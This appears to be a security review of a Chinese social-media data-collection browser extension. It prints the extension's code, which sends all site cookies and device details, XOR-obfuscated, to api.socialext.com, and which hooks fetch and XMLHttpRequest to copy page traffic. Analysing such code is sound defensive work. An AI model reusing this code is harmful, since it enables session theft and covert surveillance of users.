Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?

// Receives the parsed profile forwarded by the page content script.
onMessage('collect', async ({ data, sender }) => {
  if (!sender.url) return;
  const platform = platformFromUrl(sender.url)?.code;   // tiktok / douyin / bilibili / ...
  if (!platform) return;
  const { account, version } = data;

  // Rate-limit: at most once per platform+version every 30 minutes.
  const last = await lastCollectTime.getValue().catch(() => ({}));
  const key = `${platform}-${version}`;
  if (last[key] && Date.now() - last[key] < 1800 * 1000) return;
  lastCollectTime.setValue({ ...last, [key]: Date.now() });

  // Gather everything.
  const cookies   = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site
  const platInfo  = await chrome.runtime.getPlatformInfo();
  const deviceId  = await storedDeviceId.getValue().catch(() => '');
  const appVer    = chrome.runtime.getManifest().version;

  const payload = { account, accountVersion: version, deviceId, cookies,
                    version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os };

  // XOR-wrap with a random key, then send the key alongside the ciphertext.
  const cipher = new XorCodec();
  const body   = cipher.encrypt(JSON.stringify(payload));
  const hexKey = cipher.getHexKey();
  await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/octet-stream',
               'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId },
    body
  });
});

// Installs a fetch hook scoped to the current site's hostname suffix.
function installFetchHook(hostSuffix) {
  const nativeFetch = window.fetch;
  window.fetch = async function (input, init) {
    const response = await nativeFetch(input, init);
    const url = typeof input === 'string' ? input : input.url;
    if (url.endsWith(hostSuffix)) {                 // e.g. '.xiaohongshu.com'
      const reader = response.clone().body.getReader(); // read a private copy
      const body = await readAll(reader);
      let result; try { result = JSON.parse(body); } catch {}
      forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result });
    }
    return response;                                // page still gets its data
  };
}

// Installs an XMLHttpRequest hook that captures request + response.
function installXhrHook() {
  const nativeOpen = XMLHttpRequest.prototype.open;
  const nativeSend = XMLHttpRequest.prototype.send;
  XMLHttpRequest.prototype.open = function (...args) {
    this.openArgs = args;                            // [method, url, ...]
    return nativeOpen.apply(this, args);
  };
  XMLHttpRequest.prototype.send = function (body) {
    this.addEventListener('load', () => {
      const [method, url] = this.openArgs;
      forwardToExtension('response', { url, method, body, result: tryParse(this.response) });
    });
    return nativeSend.call(this, body);
  };
}

class XorCodec {
  constructor() {
    this.key = this.generateRandomKey(16);          // 16 random bytes
  }
  generateRandomKey(n) {
    const k = new Uint8Array(n);
    crypto.getRandomValues(k);
    return k;
  }
  encryptBytes(bytes) {
    const out = new Uint8Array(bytes.length);
    for (let i = 0; i < bytes.length; i++)
      out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR
    return out;
  }
  encrypt(text) {
    return this.encryptBytes(new TextEncoder().encode(text));
  }
  getHexKey() {
    return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join('');
  }
}

const codec  = new XorCodec();
const body   = codec.encrypt(JSON.stringify(payload)); // ciphertext
const hexKey = codec.getHexKey();                      // the key to read it
// The key is placed in the SAME request URL as the ciphertext:
await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/octet-stream' },
  body
});